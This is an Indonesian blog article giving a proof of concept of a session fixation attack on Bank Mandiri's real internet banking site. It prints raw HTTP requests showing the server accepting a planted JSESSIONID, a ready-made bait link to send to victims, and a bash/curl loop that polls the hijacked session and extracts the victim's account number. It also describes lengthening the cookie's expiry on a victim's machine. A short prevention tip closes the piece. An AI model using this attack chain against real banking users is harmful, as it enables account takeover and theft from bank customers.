Dalam artikel ini saya akan menggunakan jurus session fixation untuk membajak session internet banking Mandiri yang merupakan bank terbesar di tanah air. Detil mengenai session fixation attack bisa dibaca di artikel saya sebelumnya yang berjudul mengenal session fixation attack.
Session ID Bank Mandiri Internet Banking
Internet banking mandiri menggunakan sessionid
yang disimpan dalam cookie dengan nama JSESSIONID. Sessionid ini sangat
panjang dan acak, jadi tidak mungkin memakai jurus prediction untuk mendapatkan
sessionid. Contoh sessionid bank mandiri adalah:
JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002
|
Fixate sessionid yang dipilih sendiri dengan
query string
Untuk memastikan apakah internet banking
mandiri bisa diserang dengan session fixation, saya akan coba memasukkan query
string JSESSIONID berisi string yang saya pilih sendiri. Saya coba dengan query
string JSESSIONID=01234567890. Berikut adalah request dan response yang
terjadi.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1
|
https://ib.bankmandiri.co.id/retail/Login.do?action=form&JSESSIONID=01234567890
GET
/retail/Login.do?action=form&JSESSIONID=01234567890 HTTP/1.1
Host:
ib.bankmandiri.co.id
User-Agent:
Mozilla/5.0 (Windows; U; Windows NT 5.1; id; rv:1.9.0.5) Gecko/2008120122
YFF3 Firefox/3.0.5 ImageShackToolbar/5.0.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:
id,en-us;q=0.7,en;q=0.3
Accept-Encoding:
gzip,deflate
Accept-Charset:
ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive:
300
Connection:
keep-alive
HTTP/1.x
200 OK
Date: Mon,
02 Feb 2009 23:28:58 GMT
Pragma:
no-cache
Content-Encoding:
gzip
Content-Length:
3822
Content-Type:
text/html
Expires:
-1
Transfer-Encoding:
Chunked
Set-Cookie:
JSESSIONID=JHB9fR0rxOD53jgT3h1x57kAmFAqo8s2fp28UZvDxs2zLupl0s1Q!568454685!-1062708981!7668!7002;
path=/
Cache-Control:
no-cache
|
Ternyata usulan saya ditolak mentah-mentah
oleh server, hal ini terlihat dari responsenya yang memberikan sessionid dalam
bentuk cookie pada baris ke-21. Dari response tersebut juga bisa diambil
kesimpulan bahwa server bank mandiri lebih suka memakai cookie sehingga bila
ada client yang memberikan sessionid dalam query string, dibalas dengan header
Set-Cookie. Ini pertanda bagus karena cookie yang diberikan pada korban akan
memudahkan serangan saya.
Fixate sessionid yang dibangkitkan server
dengan query string
Oke, setelah gagal mengusulkan
sessionid sembarangan dengan query string. Saya akan coba lagi dengan sessionid
yang dibangkitkan server. Untuk itu sebelumnya saya harus meminta server
memberikan sessionid. Dalam contoh ini saya akan gunakan sessionid yang sudah
saya minta sebelumnya, yaitu:
JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002
|
Sessionid ini akan
saya kirimkan dalam request dalam bentuk query string. Sebelumnya cookie yang
ada harus dihapus karena cookie memiliki prioritas lebih dibanding query string
dalam hal sessionid. Berikut request dan response yang terjadi.
https://ib.bankmandiri.co.id/retail/Login.do?action=form&JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002
GET
/retail/Login.do?action=form&JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002
HTTP/1.1
Host:
ib.bankmandiri.co.id
User-Agent:
Mozilla/5.0 (Windows; U; Windows NT 5.1; id; rv:1.9.0.5) Gecko/2008120122
YFF3 Firefox/3.0.5 ImageShackToolbar/5.0.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:
id,en-us;q=0.7,en;q=0.3
Accept-Encoding:
gzip,deflate
Accept-Charset:
ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive:
300
Connection:
keep-alive
HTTP/1.x
200 OK
Date: Mon,
02 Feb 2009 23:37:42 GMT
Pragma:
no-cache
Content-Encoding:
gzip
Content-Length:
3824
Content-Type:
text/html
Expires:
-1
Transfer-Encoding:
Chunked
Set-Cookie:
JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002;
path=/
Cache-Control:
no-cache
Hore berhasil. Pada
response server ternyata menyetujui untuk memakai sessionid yang saya usulkan
melalui query string. Tidak hanya itu, server malah membantu saya dengan
membuat cookie dengan isi sessionid usulan saya. Jadi pada request berikutnya
saya tidak perlu menambahkan query string karena sudah otomatis cookie terkirimkan.
Ini adalah kondisi yang sempurna untuk serangan fixation attack karena serangan
bisa dilakukan secara remote dan session cookie akan tercipta otomatis di
browser korban.
Skenario Serangan
Skenario serangan
menggunakan jurus session fixation pada Mandiri Internet banking ini adalah:
1.
Attacker mengirimkan
link kepada calon korban.
<a target="_blank"
href="https://ib.bankmandiri.co.id/retail/Login.do?action=form&JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002">
Klik
Dong</a>
|
Perhatikan
link tersebut baik-baik. Link tersebut tidak tampak mencurigakan seperti
phishing link. Pengguna yang teliti akan memeriksa link tersebut:
o Apakah domainnya benar? Benar! Domain link
tersebut ib.bankmandiri.co.id
o Apakah pakai https? Benar! URL tersebut
diawali dengan https
o Apakah pathnya benar? Benar! Path URL tersebut
adalah /retail/Login.do
Karena
semuanya benar, calon korban akan yakin bahwa itu bukan link phishing berisi
fake login page. Padahal sebenarnya link itu mengandung jebakan sessionid
fixation. Dan sayangnya tidak pernah ada informasi tentang bahaya ini dari bank
yang bersangkutan.
2.
Korban mengklik link
tersebut.
Pada
saat korban mengklik link tersebut, maka korban telah terjebak menggunakan
sessionid yang sudah disiapkan oleh attacker. Pada browser korban akan tercipta
sebuah cookie JSESSIONID yang berisi sessionid. Sehingga semua request dari
browser korban ke bank mandiri internet banking selalu menggunakan sessionid
tersebut.
Untuk
coba-coba silakan anda buka link tersebut, kemudian periksa cookie anda. Apakah
benar ada cookie berisi sessionid yang isinya sama dengan yang attacker
inginkan?
3.
Korban login
Setelah
korban membuka halaman login, selanjutnya korban akan memasukkan username dan
passwordnya. Bila login sukses, maka korban bisa mengakses accountnya, dan
begitu pula attacker karena keduanya berbagi sessionid yang sama.
4.
Attacker mengakses
account korban
Karena
korban dan attacker menggunakan sessionid yang sama, server menganggap attacker
dan korban adalah orang yang sama, yaitu pemegang account yang sah. Nun jauh di
sana, attacker selalu memeriksa status session yang sessionidnya diberikan pada
korban. Begitu korban berhasil login, pada saat itu juga attacker akan
mengakses account korban.
Bahayanya serangan ini
adalah serangan ini bisa memakan banyak korban. Ingat bahwa setelah korban
selesai memakai accountnya, dia akan logout. Pada titik ini attacker tidak bisa
lagi mengakses account korban. Tapi jangan lupa bahwa cookie berisi sessionid
masih ada di browser korban, sehingga setiap kali ada request dari browser itu
akan menggunakan sessionid yang sudah ditentukan attacker. Bila ada korban lain
memakai browser itu dan login ke mandiri juga, maka orang itu juga akan menjadi
korban.
Session Status Checker
Agar session tidak
expired, attacker harus melakukan request terus menerus dengan sessionid itu,
dengan begini server akan berpikir bahwa sessionid tersebut masih aktif
dipakai. Di komputer lain saya telah membuat script sederhana untuk memeriksa
status session dengan sessionid tertentu, statusnay apakah “Dead” (tidak ada
yang login) atau “Alive” (sedang dipakai orang dan belum logout).
#!/bin/bash
while [
true ] ; do
NOREK=`curl -s
"https://ib.bankmandiri.co.id/retail/Welcome.do?action=result" -b
kue.txt |grep '<td
align="center" height="25"
bgcolor="#DDF2FA">[0-9]*</td>'|cut -f2 -d">"|cut -f1 -d"<"`
if [
-z "$NOREK" ]
then
echo "Dead"
else
echo "Alive, Norek: $NOREK"
fi
sleep
done
done
Script tersebut
memerlukan cookie yang disimpan dalam file kue.txt. File tersebut menyimpan
cookie yang akan dikirim pada setiap request. File tersebut mengikuti format
dari curl. Agar mudah, sebelumnya saya sengaja meminta cookie dengan curl ke
ib.bankmandiri.co.id dan menyimpannya di file kue.txt, kemudian file tersebut
saya edit dengan mengganti sessionidnya dengan sessionid yang saya target. Saya
memasukkan sessionid yang sama dengan yang saya pakai dalam contoh-contoh sebelumnya
di atas, yaitu
JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002
mandiri check session
Perhatikan pada gambar
di atas, script saya akan looping terus untuk mengirim request dengan cookie
berisi sessionid. Bila halaman “/retail/Welcome.do?action=result” berisi “Nomor
Rekening”, berarti sessionid tersebut sedang dipakai oleh seseorang.
Perhatikan juga bahwa
server bank mandiri tidak peduli dengan fakta bahwa ada 2 request dari ip
address dan user agent yang berbeda. Script tersebut dijalankan di Linux dengan
IP address yang berbeda dengan request yang dilakukan dari browser korban.
Karena request dilakukan dengan curl, maka user agent headernya pun berbeda
dengan browser korban. Tapi server tidak peduli dengan semua perbedaan itu,
selama request yang datang membawa cookie berisi sessionid yang benar, maka dia
berhak mendapatkan akses.
Di internet, siapapun
yang membawa sessionid anda, akan menjadi anda!
Pada gambar tersebut
juga terlihat bahwa korban bisa login atau logout berkali-kali, namun tetap
menjadi korban attacker. Hal ini terjadi karena cookie berisi sessionid masih
tetap ada di browser korban walaupun korban sudah logout. Jadi kalau ada yang
login lagi, maka dia juga akan memakai sessionid yang sama.
Modifikasi Cookie
Expired Date secara Lokal
modified expired date
Kelemahan dari
serangan remote di atas adalah batas waktu cookie adalah hingga browser
ditutup. Begitu browser ditutup, cookie yang expired akan dihapus. Bila
attacker memiliki akses fisik, maka akibat serangannya akan semakin dahsyat.
Attacker akan memodifikasi tanggal expired session cookie pada browser korban.
Tanggal expirednya akan diubah menjadi tahun 2099 misalnya, sehingga cookie
tersebut akan tetap ada sampai 2099. Dengan begini semua orang yang login
dengan browser itu di komputer itu akan menjadi korban attacker nun jauh di
sana yang selalu sabar menanti dengan script session checkernya.
Tips Pencegahan
Sederhana saja cara
untuk mencegah agar tidak terkena jebakan batman dari attacker. Sebelum login
ke halaman internet banking mandiri, hapus semua cookie yang ada dan query
string yang mengandung sessionid. Dengan cara ini sessionid yang dipakai adalah
sessionid yang diberi oleh server yang tidak diketahui attacker.
Kesimpulan
Saya telah menunjukkan
proof of concept serangan session fixation pada internet banking mandiri.
Serangan ini sangat berbahaya karena bisa diserang dari jarak jauh dan
korbannya tidak hanya satu orang, tapi semua orang yang login di browser dan
komputer yang sama. Sayangnya serangan ini tidak setenar SQL injection atau
XSS, padahal serangan ini sama berbahayanya sehingga orang banyak yang tidak
aware dengan ancaman ini.
Serangan ini juga tipe
serangan yang tidak bisa dicegah dengan https karena serangan ini berada di
layer aplikasi. Jadi logic aplikasinya yang harus diperbaiki, bukan pada level
protokol https.
Source
: ilmuhacking
0 Response